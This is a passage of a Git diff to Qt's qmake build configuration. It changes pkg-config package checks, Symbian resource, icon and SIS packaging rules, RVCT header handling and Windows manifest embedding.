-#ifndef APIGENERATOR_H
-#define APIGENERATOR_H
-
-#include <QTextStream>
-
-#include "generator.h"
-
-QT_BEGIN_NAMESPACE
-
-class ApiGenerator : public Generator
-{
-public:
- QString format();
- void generateTree(const Tree *tree, CodeMarker *marker);
-
-private:
- void generateNode(const Node *node, CodeMarker *marker, int indent = 0);
-
- QTextStream out;
-};
-
-QT_END_NAMESPACE
+#ifndef __PRODUCT_INCLUDE__
+# ifdef __QT_PRODUCT_INCLUDE_IS_LOWERCASE__
+# define __PRODUCT_INCLUDE__ <variant/symbian_os.hrh>
+# else
+# define __PRODUCT_INCLUDE__ <variant/Symbian_OS.hrh>
+# endif
+#endif
+#ifndef __QT_SYMBIAN_RESOURCE__
+# if defined(__ARMCC__) || defined(__CC_ARM)
+# ifdef __QT_RVCT_HEADER_IS_2_2__
+# include <rvct2_2.h>
+# else
+# include <rvct.h>
+# endif
+# endif
#endif
diff --git a/mkspecs/features/link_pkgconfig.prf b/mkspecs/features/link_pkgconfig.prf
index d70e5de..a3dbd1f 100644
--- a/mkspecs/features/link_pkgconfig.prf
+++ b/mkspecs/features/link_pkgconfig.prf
@@ -1,7 +1,12 @@
# handle pkg-config files
-isEmpty(PKG_CONFIG):PKG_CONFIG = pkg-config
+isEmpty(PKG_CONFIG):PKG_CONFIG = pkg-config # keep consistent with qt_functions.prf too!
+
for(PKGCONFIG_LIB, $$list($$unique(PKGCONFIG))) {
+ # don't proceed if the .pro asks for a package we don't have!
+ !packagesExist($$PKGCONFIG_LIB):error("Package $$PKGCONFIG_LIB not found")
+
QMAKE_CXXFLAGS += $$system($$PKG_CONFIG --cflags $$PKGCONFIG_LIB)
QMAKE_CFLAGS += $$system($$PKG_CONFIG --cflags $$PKGCONFIG_LIB)
LIBS += $$system($$PKG_CONFIG --libs $$PKGCONFIG_LIB)
}
+
diff --git a/mkspecs/features/mac/default_post.prf b/mkspecs/features/mac/default_post.prf
index 4999762..273094d 100644
--- a/mkspecs/features/mac/default_post.prf
+++ b/mkspecs/features/mac/default_post.prf
@@ -7,7 +7,7 @@ load(default_post)
# PowerPC-based systems. Note that this logic assumes that Qt has been
# configured with an architecture that is usable on the system.
qt:!isEmpty(QT_CONFIG) {
- contains(QMAKE_HOST.arch, ppc) {
+ contains(QMAKE_HOST.arch, ppc)|contains(QMAKE_HOST.arch, "Power Macintosh") {
!contains(QT_CONFIG, ppc64):contains(QT_CONFIG, ppc):CONFIG += ppc
contains(QT_CONFIG, ppc64):!contains(QT_CONFIG, ppc):CONFIG += ppc64
} else {
diff --git a/mkspecs/features/qt_config.prf b/mkspecs/features/qt_config.prf
index 19e01a1..de1cac4 100644
--- a/mkspecs/features/qt_config.prf
+++ b/mkspecs/features/qt_config.prf
@@ -11,7 +11,11 @@ isEmpty(QMAKE_QT_CONFIG)|!exists($$QMAKE_QT_CONFIG) {
debug(1, "Cannot load qconfig.pri!")
} else {
debug(1, "Loaded .qconfig.pri from ($$QMAKE_QT_CONFIG)")
- for(mod, $$list($$files($$dirname(QMAKE_QT_CONFIG)/modules/qt_*.pri))):include($$mod)
+ for(dir, $$list($$unique($$list($$dirname(QMAKE_QT_CONFIG) \
+ $$split($$list($$[QMAKE_MKSPECS]), $$DIRLIST_SEPARATOR))))) {
+ debug(1, "Loading modules from $${dir}")
+ for(mod, $$list($$files($$dir/modules/qt_*.pri))):include($$mod)
+ }
}
load(qt_functions)
diff --git a/mkspecs/features/qt_functions.prf b/mkspecs/features/qt_functions.prf
index 964e13b..5baf7ce 100644
--- a/mkspecs/features/qt_functions.prf
+++ b/mkspecs/features/qt_functions.prf
@@ -46,22 +46,27 @@ defineTest(qtAddLibrary) {
}
}
symbian {
- isEqual(LIB_NAME, QtGui) {
+ isEqual(LIB_NAME, QtCore) {
+ #workaround for dependency from f32file.h on e32svr.h which has moved location in symbian3
+ contains(SYMBIAN_VERSION, Symbian3) {
+ INCLUDEPATH *= $$OS_LAYER_SYSTEMINCLUDE
+ }
+ } else:isEqual(LIB_NAME, QtGui) {
# Needed for #include <QtGui> because qs60mainapplication.h includes aknapp.h
INCLUDEPATH *= $$MW_LAYER_SYSTEMINCLUDE
} else:isEqual(LIB_NAME, QtWebKit) {
# Needed for because relative inclusion problem in toolchain
INCLUDEPATH *= $$QMAKE_INCDIR_QT/QtXmlPatterns
INCLUDEPATH *= $$QMAKE_INCDIR_QT/QtNetwork
- TARGET.CAPABILITY *= NetworkServices
+ isEmpty(TARGET.CAPABILITY): TARGET.CAPABILITY = NetworkServices
isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
} else:isEqual(LIB_NAME, QtXmlPatterns) {
# Needed for #include <QtXmlPatterns/QtXmlPatterns> because relative inclusion problem in toolchain
INCLUDEPATH *= $$QMAKE_INCDIR_QT/QtNetwork
} else:isEqual(LIB_NAME, QtNetwork) {
- TARGET.CAPABILITY *= NetworkServices
+ isEmpty(TARGET.CAPABILITY): TARGET.CAPABILITY = NetworkServices
} else:isEqual(LIB_NAME, QtDeclarative) {
- TARGET.CAPABILITY *= NetworkServices
+ isEmpty(TARGET.CAPABILITY): TARGET.CAPABILITY = NetworkServices
isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
}
export(TARGET.EPOCHEAPSIZE)
@@ -103,3 +108,17 @@ defineTest(qtPrepareTool) {
}
export($$1)
}
+
+defineTest(packagesExist) {
+ # this can't be done in global scope here because qt_functions is loaded
+ # before the .pro is parsed, so if the .pro set PKG_CONFIG, we wouldn't know it
+ # yet. oops.
+ isEmpty(PKG_CONFIG):PKG_CONFIG = pkg-config # keep consistent with link_pkgconfig.prf! too
+
+ for(package, ARGS) {
+ !system($$PKG_CONFIG --exists $$package):return(false)
+ }
+
+ return(true)
+}
+
diff --git a/mkspecs/features/symbian/application_icon.prf b/mkspecs/features/symbian/application_icon.prf
index f50e944..d9918bf 100644
--- a/mkspecs/features/symbian/application_icon.prf
+++ b/mkspecs/features/symbian/application_icon.prf
@@ -12,69 +12,75 @@ contains(CONFIG, no_icon) {
!contains(CONFIG, no_icon) {
baseTarget = $$symbianRemoveSpecialCharacters($$basename(TARGET))
- symbian-abld|symbian-sbsv2 {
- resourceZDir = $$EPOCROOT$$HW_ZDIR$$APP_RESOURCE_DIR
- regZDir = $$EPOCROOT$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR
+ contains(baseTarget, "^.*\\..*$") {
+ CONFIG += no_icon
+ ICON =
+ warning("Symbian resources do not support '.' character in TARGET, skipping resource generation.")
} else {
- contains(DESTDIR, "/.*") {
- resourceZDir = $$DESTDIR
- } else:isEmpty(DESTDIR) {
- resourceZDir = $$OUT_PWD
+ symbian-abld|symbian-sbsv2 {
+ resourceZDir = $$EPOCROOT$$HW_ZDIR$$APP_RESOURCE_DIR
+ regZDir = $$EPOCROOT$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR
} else {
- resourceZDir = $$OUT_PWD/$$DESTDIR
+ contains(DESTDIR, "/.*") {
+ resourceZDir = $$DESTDIR
+ } else:isEmpty(DESTDIR) {
+ resourceZDir = $$OUT_PWD
+ } else {
+ resourceZDir = $$OUT_PWD/$$DESTDIR
+ }
+ regZDir = $$resourceZDir
}
- regZDir = $$resourceZDir
- }
- default_resource_deployment.files += $$resourceZDir/$${baseTarget}.rsc
- default_resource_deployment.path = $$APP_RESOURCE_DIR
- default_reg_deployment.files += $$regZDir/$${baseTarget}_reg.rsc
- default_reg_deployment.path = $$REG_RESOURCE_IMPORT_DIR
+ default_resource_deployment.files += $$resourceZDir/$${baseTarget}.rsc
+ default_resource_deployment.path = $$APP_RESOURCE_DIR
+ default_reg_deployment.files += $$regZDir/$${baseTarget}_reg.rsc
+ default_reg_deployment.path = $$REG_RESOURCE_IMPORT_DIR
- !isEmpty(ICON) {
- !count(ICON, 1) {
- ICON = $$first(ICON)
- warning("Only first icon specified in ICON variable is used: $$ICON")
- }
+ !isEmpty(ICON) {
+ !count(ICON, 1) {
+ ICON = $$first(ICON)
+ warning("Only first icon specified in ICON variable is used: $$ICON")
+ }
- # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
- !symbian-sbsv2 {
- # Absolute path required for shadow builds.
- # However, in older Symbian environments abld toolchain can't handle even moderately long
- # paths, so don't force absolute there.
- !symbian-abld:!contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON
+ # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
+ !symbian-sbsv2 {
+ # Absolute path required for shadow builds.
+ # However, in older Symbian environments abld toolchain can't handle even moderately long
+ # paths, so don't force absolute there.
+ !symbian-abld:!contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON
- #Makefile: requires paths with backslash
- ICON_backslashed = $$ICON
+ #Makefile: requires paths with backslash
+ ICON_backslashed = $$ICON
- symbian-abld {
- # ${ZDIR} is defined in Makefile
- mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
- } else {
- mifIconZDir = $$resourceZDir
- }
+ symbian-abld {
+ # ${ZDIR} is defined in Makefile
+ mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
+ } else {
+ mifIconZDir = $$resourceZDir
+ }
- # Extra compiler rules for mifconv
- mifconv.target = $$mifIconZDir/$${baseTarget}.mif
- contains(QMAKE_HOST.os, "Windows") {
- ICON_backslashed = $$replace(ICON_backslashed, /, \\)
- mifconv.target = $$replace(mifconv.target, /, \\)
- }
- # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
- # svg-t icons should always use /c32 depth
- mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
+ # Extra compiler rules for mifconv
+ mifconv.target = $$mifIconZDir/$${baseTarget}.mif
+ contains(QMAKE_HOST.os, "Windows") {
+ ICON_backslashed = $$replace(ICON_backslashed, /, \\)
+ mifconv.target = $$replace(mifconv.target, /, \\)
+ }
+ # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
+ # svg-t icons should always use /c32 depth
+ mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
- mifconv.depends = $$ICON
- PRE_TARGETDEPS += $$mifconv.target
- QMAKE_EXTRA_TARGETS += mifconv
- QMAKE_DISTCLEAN += $$mifconv.target
- }
- # Rules to use generated MIF file from symbian resources
- RSS_RULES.number_of_icons = $$size(ICON_backslashed)
+ mifconv.depends = $$ICON
+ PRE_TARGETDEPS += $$mifconv.target
+ QMAKE_EXTRA_TARGETS += mifconv
+ QMAKE_CLEAN += $$mifconv.target
+ }
+ # Rules to use generated MIF file from symbian resources
+ RSS_RULES.number_of_icons = $$size(ICON_backslashed)
- RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif
+ RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif
- default_resource_deployment.files += $$resourceZDir/$${baseTarget}.mif
+ default_resource_deployment.files += $$resourceZDir/$${baseTarget}.mif
+ }
}
}
diff --git a/mkspecs/features/symbian/default_post.prf b/mkspecs/features/symbian/default_post.prf
index fffc481..98ab547 100644
--- a/mkspecs/features/symbian/default_post.prf
+++ b/mkspecs/features/symbian/default_post.prf
@@ -85,14 +85,16 @@ contains(CONFIG, qt):!contains(TARGET.UID3, 0x2001E61C):!contains(TARGET.UID3, 0
isEmpty(TARGET.EPOCSTACKSIZE):TARGET.EPOCSTACKSIZE = 0x14000
isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x020000 0x800000
-# Supports S60 3.1, 3.2, 5.0, Symbian^3, and Symbian^4 by default
+# Supports Symbian^3 and Symbian^4 by default and also S60 3.1, 3.2, and 5.0 if built against any of those.
platform_product_id = S60ProductID
platform_product_id = $$addLanguageDependentPkgItem(platform_product_id)
pkg_platform_dependencies = \
"; Default HW/platform dependencies" \
- "[0x102032BE],0,0,0,{$$platform_product_id}" \
- "[0x102752AE],0,0,0,{$$platform_product_id}" \
- "[0x1028315F],0,0,0,{$$platform_product_id}" \
"[0x20022E6D],0,0,0,{$$platform_product_id}" \
- "[0x20032DE7],0,0,0,{$$platform_product_id}" \
- " "
+ "[0x20032DE7],0,0,0,{$$platform_product_id}"
+contains(S60_VERSION, 3.1)|contains(S60_VERSION, 3.2)|contains(S60_VERSION, 5.0) {
+ pkg_platform_dependencies += \
+ "[0x102032BE],0,0,0,{$$platform_product_id}" \
+ "[0x102752AE],0,0,0,{$$platform_product_id}" \
+ "[0x1028315F],0,0,0,{$$platform_product_id}"
+}
diff --git a/mkspecs/features/symbian/sis_targets.prf b/mkspecs/features/symbian/sis_targets.prf
index d94693d..d6d6df0 100644
--- a/mkspecs/features/symbian/sis_targets.prf
+++ b/mkspecs/features/symbian/sis_targets.prf
@@ -24,6 +24,7 @@ equals(GENERATE_SIS_TARGETS, true) {
stub_pkg_target.commands = $(MAKE) -f $(MAKEFILE) qmake
QMAKE_EXTRA_TARGETS += template_pkg_target installer_pkg_target stub_pkg_target
+ qtPrepareTool(QMAKE_CREATEPACKAGE, createpackage)
symbian-abld|symbian-sbsv2 {
symbian-sbsv2 {
@@ -47,7 +48,7 @@ equals(GENERATE_SIS_TARGETS, true) {
sis_target.depends += $${baseTarget}_template.pkg
ok_sis_target.target = ok_sis
- ok_sis_target.commands = createpackage $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) $${baseTarget}_template.pkg \
+ ok_sis_target.commands = $$QMAKE_CREATEPACKAGE $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) $${baseTarget}_template.pkg \
$(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
unsigned_sis_target.target = unsigned_sis
@@ -64,7 +65,7 @@ equals(GENERATE_SIS_TARGETS, true) {
unsigned_sis_target.depends += $${baseTarget}_template.pkg
ok_unsigned_sis_target.target = ok_unsigned_sis
- ok_unsigned_sis_target.commands = createpackage $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) -o $${baseTarget}_template.pkg $(QT_SIS_TARGET)
+ ok_unsigned_sis_target.commands = $$QMAKE_CREATEPACKAGE $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) -o $${baseTarget}_template.pkg $(QT_SIS_TARGET)
target_sis_target.target = $${baseTarget}.sis
target_sis_target.commands = $(MAKE) -f $(MAKEFILE) sis
@@ -76,7 +77,7 @@ equals(GENERATE_SIS_TARGETS, true) {
installer_sis_target.depends = $${baseTarget}_installer.pkg sis
ok_installer_sis_target.target = ok_installer_sis
- ok_installer_sis_target.commands = createpackage $(QT_SIS_OPTIONS) $${baseTarget}_installer.pkg - \
+ ok_installer_sis_target.commands = $$QMAKE_CREATEPACKAGE $(QT_SIS_OPTIONS) $${baseTarget}_installer.pkg - \
$(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
ok_installer_sis_target.depends = $${baseTarget}_installer.pkg
@@ -85,7 +86,7 @@ equals(GENERATE_SIS_TARGETS, true) {
unsigned_installer_sis_target.depends = $${baseTarget}_installer.pkg unsigned_sis
ok_unsigned_installer_sis_target.target = ok_unsigned_installer_sis
- ok_unsigned_installer_sis_target.commands = createpackage $(QT_SIS_OPTIONS) -o $${baseTarget}_installer.pkg
+ ok_unsigned_installer_sis_target.commands = $$QMAKE_CREATEPACKAGE $(QT_SIS_OPTIONS) -o $${baseTarget}_installer.pkg
ok_unsigned_installer_sis_target.depends = $${baseTarget}_installer.pkg
fail_sis_nocache_target.target = fail_sis_nocache
@@ -105,7 +106,7 @@ equals(GENERATE_SIS_TARGETS, true) {
stub_sis_target.depends += $${baseTarget}_stub.pkg
ok_stub_sis_target.target = ok_stub_sis
- ok_stub_sis_target.commands = createpackage -s $(QT_SIS_OPTIONS) $${baseTarget}_stub.pkg \
+ ok_stub_sis_target.commands = $$QMAKE_CREATEPACKAGE -s $(QT_SIS_OPTIONS) $${baseTarget}_stub.pkg \
$(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
QMAKE_EXTRA_TARGETS += sis_target \
@@ -143,8 +144,6 @@ equals(GENERATE_SIS_TARGETS, true) {
QMAKE_EXTRA_TARGETS += store_build_target
}
} else {
- qtPrepareTool(QMAKE_CREATEPACKAGE, createpackage)
-
sis_destdir = $$DESTDIR
isEmpty(sis_destdir):sis_destdir = .
!equals(TARGET, "$$baseTarget"):sis_destdir = $$sis_destdir/$$dirname(TARGET)
diff --git a/mkspecs/features/symbian/symbian_building.prf b/mkspecs/features/symbian/symbian_building.prf
index 9288583..28046b4 100644
--- a/mkspecs/features/symbian/symbian_building.prf
+++ b/mkspecs/features/symbian/symbian_building.prf
@@ -1,6 +1,11 @@
symbian-armcc {
QMAKE_CFLAGS += $$QMAKE_CFLAGS.ARMCC
QMAKE_CXXFLAGS += $$QMAKE_CXXFLAGS.ARMCC
+ # This is to prevent inclusion of the shipped RVCT headers, which are often in the
+ # environment variable RVCTxxINC by default. -J prevents the searching of that location,
+ # but needs a path, so just specify somewhere guaranteed not to contain header files.
+ QMAKE_CFLAGS += -J$${EPOCROOT}epoc32/ignore_this_path
+ QMAKE_CXXFLAGS += -J$${EPOCROOT}epoc32/ignore_this_path
} else:symbian-gcce {
QMAKE_CFLAGS += $$QMAKE_CFLAGS.GCCE
QMAKE_CXXFLAGS += $$QMAKE_CXXFLAGS.GCCE
@@ -51,7 +56,7 @@ defineReplace(processSymbianLibrary) {
}
# This part turn "-llibc" into "libc.dso", and moves -L entries to QMAKE_LIBDIR.
-libsToProcess = LIBS QMAKE_LIBS
+libsToProcess = LIBS LIBS_PRIVATE QMAKE_LIBS
for(libToProcess, libsToProcess) {
qt_libraries = $$split($$libToProcess, " ")
eval($$libToProcess =)
@@ -90,8 +95,8 @@ count(splitVersion, 0) {
} else {
count(splitVersion, 3) {
hexVersion = $$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 0))\"")
- hexPart2 = $$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 1))\"")"
- hexPart2 = $$hexPart2$$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 2))\"")"
+ hexPart2 = $$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 1))\"")
+ hexPart2 = $$hexPart2$$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 2))\"")
decVersion = $$system("perl -e \"printf (\\\"%1d\\\", 0x$$hexVersion)\"").
hexVersion = $$hexVersion$$hexPart2
decVersion = $$decVersion$$system("perl -e \"printf (\\\"%d\\\", 0x$$hexPart2)\"")
@@ -235,13 +240,9 @@ contains(TEMPLATE, app):!contains(QMAKE_LINK, "^@:.*") {
}
# Symbian resource files
-symbian-armcc: {
- SYMBIAN_RVCT22INC=$$(RVCT22INC)
- !isEmpty(SYMBIAN_RVCT22INC):symbian_resources_INCLUDES = -I$${SYMBIAN_RVCT22INC}
-}
-symbian_resources_INCLUDES = $$replace(symbian_resources_INCLUDES, ",", " -I")
-symbian_resources_INCLUDES += $$join(INCLUDEPATH, " -I", "-I")
+symbian_resources_INCLUDES = $$join(INCLUDEPATH, " -I", "-I")
symbian_resources_DEFINES = $$join(DEFINES, " -D", "-D")
+symbian_resources_DEFINES += -D__QT_SYMBIAN_RESOURCE__
symbian_resources_RCC_DIR = $$replace(RCC_DIR, "/$", "")
symbian_resources_INCLUDES += "-I$$symbian_resources_RCC_DIR"
@@ -256,6 +257,7 @@ for(symbian_resource, SYMBIAN_RESOURCES) {
symbianresources.input = SYMBIAN_RESOURCES
symbianresources.output = $$symbian_resources_RCC_DIR/${QMAKE_FILE_BASE}$${QT_LIBINFIX}.rsg
symbianresources.commands = cpp -nostdinc -undef \
+ -include $$QMAKE_SYMBIAN_INCLUDES \
$$symbian_resources_INCLUDES \
$$symbian_resources_DEFINES \
${QMAKE_FILE_NAME} \
@@ -271,46 +273,79 @@ symbianresources.CONFIG = no_link target_predeps
QMAKE_EXTRA_COMPILERS += symbianresources
+# This section generates the rsg and rsc files for symbian.
contains(TEMPLATE, "app"):!contains(CONFIG, "no_icon") {
- # Make our own extra target in order to get dependencies for generated
- # files right. This also avoids the warning about files not found.
- symbianGenResource.target = $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
- symbianGenResource.commands = cpp -nostdinc -undef \
- $$symbian_resources_INCLUDES \
- $$symbian_resources_DEFINES \
- $${baseTarget}.rss \
- > $${symbian_resources_RCC_DIR}/$${baseTarget}.rpp \
- && rcomp -u -m045,046,047 \
- -s$${symbian_resources_RCC_DIR}/$${baseTarget}.rpp \
- -o$${symbianDestdir}/$${baseTarget}.rsc \
- -h$${symbian_resources_RCC_DIR}/$${baseTarget}.rsg \
- -i$${baseTarget}.rss
- silent:symbianGenResource.commands = @echo rcomp $${baseTarget}.rss && $$symbianGenResource.commands
- symbianGenResource.depends = $${baseTarget}.rss
- PRE_TARGETDEPS += $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
- QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
- QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}.rpp
- QMAKE_DISTCLEAN += $${baseTarget}.rss
- QMAKE_DISTCLEAN += $${symbianDestdir}/$${baseTarget}.rsc
-
- symbianGenRegResource.target = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
- symbianGenRegResource.commands = cpp -nostdinc -undef \
- $$symbian_resources_INCLUDES \
- $$symbian_resources_DEFINES \
- $${baseTarget}_reg.rss \
- > $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp \
- && rcomp -u -m045,046,047 \
- -s$${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp \
- -o$${symbianDestdir}/$${baseTarget}_reg.rsc \
- -h$${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg \
- -i$${baseTarget}_reg.rss
- silent:symbianGenRegResource.commands = @echo rcomp $${baseTarget}_reg.rss && $$symbianGenRegResource.commands
- symbianGenRegResource.depends = $${baseTarget}_reg.rss $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
- PRE_TARGETDEPS += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
- QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
- QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp
- QMAKE_DISTCLEAN += $${baseTarget}_reg.rss
- QMAKE_DISTCLEAN += $${symbianDestdir}/$${baseTarget}_reg.rsc
+ # Look for extra languages for the resources, and then generate a target for each one.
+ localize_deployment:symbianGenResourceLanguages = $$SYMBIAN_MATCHED_LANGUAGES default
+ else:symbianGenResourceLanguages = default
+ for(language, symbianGenResourceLanguages) {
+ # Special languages get their language number appended to the filename.
+ contains(language, default) {
+ symbianGenResource_DEFINES = $$symbian_resources_DEFINES
+ rpp = $${symbian_resources_RCC_DIR}/$${baseTarget}.rpp
+ rsc = $${symbianDestdir}/$${baseTarget}.rsc
+ rsg = $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
+ } else {
+ languageNo = $$eval(SYMBIAN_LANG.$$language)
+ symbianGenResource_DEFINES = $$symbian_resources_DEFINES -DLANGUAGE_$${languageNo}
+ rpp = $${symbian_resources_RCC_DIR}/$${baseTarget}_$${languageNo}.rpp
+ rsc = $${symbianDestdir}/$${baseTarget}.r$${languageNo}
+ rsg = $${symbian_resources_RCC_DIR}/$${baseTarget}_$${languageNo}.rsg
+ }
+
+ # Make our own extra target in order to get dependencies for generated
+ # files right. This also avoids the warning about files not found.
+ eval(symbianGenResource_$${language}.target = $$rsg)
+ eval(symbianGenResource_$${language}.commands = cpp -nostdinc -undef \
+ -include $$QMAKE_SYMBIAN_INCLUDES \
+ $$symbian_resources_INCLUDES \
+ $$symbianGenResource_DEFINES \
+ $${baseTarget}.rss \
+ > $$rpp \
+ && rcomp -u -m045,046,047 \
+ -s$$rpp \
+ -o$$rsc \
+ -h$$rsg \
+ -i$${baseTarget}.rss)
+ silent:eval(symbianGenResource_$${language}.commands = @echo rcomp $${baseTarget}.rss && $$eval(symbianGenResource_$${language}.commands))
+ eval(symbianGenResource_$${language}.depends = $${baseTarget}.rss)
+ PRE_TARGETDEPS += $$rsg
+ QMAKE_CLEAN += $$rsg $$rpp
+ QMAKE_DISTCLEAN += $$rsc
+
+ QMAKE_EXTRA_TARGETS += symbianGenResource_$${language}
+
+ # Note that we depend on the base rsg file, even if dealing with a specific language.
+ # hence we don't use $$rsg on the next line.
+ eval(symbianGenRegResource_$${language}.depends = $${baseTarget}_reg.rss $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg)
+ contains(language, default) {
+ rpp = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp
+ rsc = $${symbianDestdir}/$${baseTarget}_reg.rsc
+ rsg = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
+ } else {
+ rpp = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg_$${languageNo}.rpp
+ rsc = $${symbianDestdir}/$${baseTarget}_reg.r$${languageNo}
+ rsg = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg_$${languageNo}.rsg
+ }
+ eval(symbianGenRegResource_$${language}.target = $$rsg)
+ eval(symbianGenRegResource_$${language}.commands = cpp -nostdinc -undef \
+ -include $$QMAKE_SYMBIAN_INCLUDES \
+ $$symbian_resources_INCLUDES \
+ $$symbianGenResource_DEFINES \
+ $${baseTarget}_reg.rss \
+ > $$rpp \
+ && rcomp -u -m045,046,047 \
+ -s$$rpp \
+ -o$$rsc \
+ -h$$rsg \
+ -i$${baseTarget}_reg.rss)
+ silent:eval(symbianGenRegResource_$${language}.commands = @echo rcomp $${baseTarget}_reg.rss && $$eval(symbianGenRegResource_$${language}.commands))
+ PRE_TARGETDEPS += $$rsg
+ QMAKE_CLEAN += $$rsg $$rpp
+ QMAKE_DISTCLEAN += $$rsc
+
+ QMAKE_EXTRA_TARGETS += symbianGenRegResource_$${language}
+ }
# Trick to get qmake to create the RCC_DIR for us.
symbianRccDirCreation.input = SOURCES
@@ -318,14 +353,15 @@ contains(TEMPLATE, "app"):!contains(CONFIG, "no_icon") {
symbianRccDirCreation.output = $${symbian_resources_RCC_DIR}/symbian_resource_dummy
symbianRccDirCreation.CONFIG = no_link combine
- QMAKE_EXTRA_TARGETS += symbianGenResource symbianGenRegResource
QMAKE_EXTRA_COMPILERS += symbianRccDirCreation
- QMAKE_DISTCLEAN += $${baseTarget}.loc
+ QMAKE_DISTCLEAN += $${baseTarget}.rss \
+ $${baseTarget}_reg.rss \
+ $${baseTarget}.loc
}
# Generated pkg files
-QMAKE_DISTCLEAN += $${baseTarget}_template.pkg
-QMAKE_DISTCLEAN += $${baseTarget}_installer.pkg
-QMAKE_DISTCLEAN += $${baseTarget}_stub.pkg
+QMAKE_DISTCLEAN += $${baseTarget}_template.pkg \
+ $${baseTarget}_installer.pkg \
+ $${baseTarget}_stub.pkg
diff --git a/mkspecs/features/win32/embed_manifest_dll.prf b/mkspecs/features/win32/embed_manifest_dll.prf
index e8711da..69c9d1d 100644
--- a/mkspecs/features/win32/embed_manifest_dll.prf
+++ b/mkspecs/features/win32/embed_manifest_dll.prf
@@ -1,6 +1,6 @@
-MANIFEST_DIR = $$OBJECTS_DIR
-isEmpty(MANIFEST_DIR):MANIFEST_DIR = .
!if(plugin:no_plugin_manifest):if(win32-msvc2005*|win32-msvc2008*|win32-msvc2010*):!static:!equals(TEMPLATE_PREFIX, "vc"):equals(TEMPLATE, "lib") {
+ MANIFEST_DIR = $$OBJECTS_DIR
+ isEmpty(MANIFEST_DIR):MANIFEST_DIR = .
NOPATH_TARGET = $$TARGET
NOPATH_TARGET ~= s,\\\\ , ,q # Remove space escaping (NOPATH_TARGET is quoted)
NOPATH_TARGET ~= s,\\\\,/,g # Change to single type separators
diff --git a/mkspecs/features/win32/embed_manifest_exe.prf b/mkspecs/features/win32/embed_manifest_exe.prf
index 2d1c09b..44aadfa 100644
--- a/mkspecs/features/win32/embed_manifest_exe.prf
+++ b/mkspecs/features/win32/embed_manifest_exe.prf
@@ -1,6 +1,6 @@
-MANIFEST_DIR = $$OBJECTS_DIR
-isEmpty(MANIFEST_DIR):MANIFEST_DIR = .
if(win32-msvc2005*|win32-msvc2008*|win32-msvc2010*):!equals(TEMPLATE_PREFIX, "vc"):equals(TEMPLATE, "app") {
+ MANIFEST_DIR = $$OBJECTS_DIR
+ isEmpty(MANIFEST_DIR):MANIFEST_DIR = .
NOPATH_TARGET = $$TARGET
NOPATH_TARGET ~= s,\\\\ , ,q # Remove space escaping (NOPATH_TARGET is quoted)
NOPATH_TARGET ~= s,\\\\,/,g # Change to single type separators
diff --git a/mkspecs/symbian-armcc/qmake.conf b/mkspecs/symbian-armcc/qmake.conf
index be6af39..77a1966 100644
--- a/mkspecs/symbian-armcc/qmake.conf
+++ b/mkspecs/symbian-armcc/qmake.conf
@@ -53,10 +53,7 @@ INCLUDEPATH = $${EPOCROOT}epoc32/include \
exists($${EPOCROOT}epoc32/include/rvct2_2) {
INCLUDEPATH += $${EPOCROOT}epoc32/include/rvct2_2
- QMAKE_CFLAGS += --preinclude rvct2_2.h
- QMAKE_CXXFLAGS += --preinclude rvct2_2.h
+ DEFINES *= __QT_RVCT_HEADER_IS_2_2__
} else {
INCLUDEPATH += $${EPOCROOT}epoc32/include/rvct
- QMAKE_CFLAGS += --preinclude rvct.h
- QMAKE_CXXFLAGS += --preinclude rvct.h
}
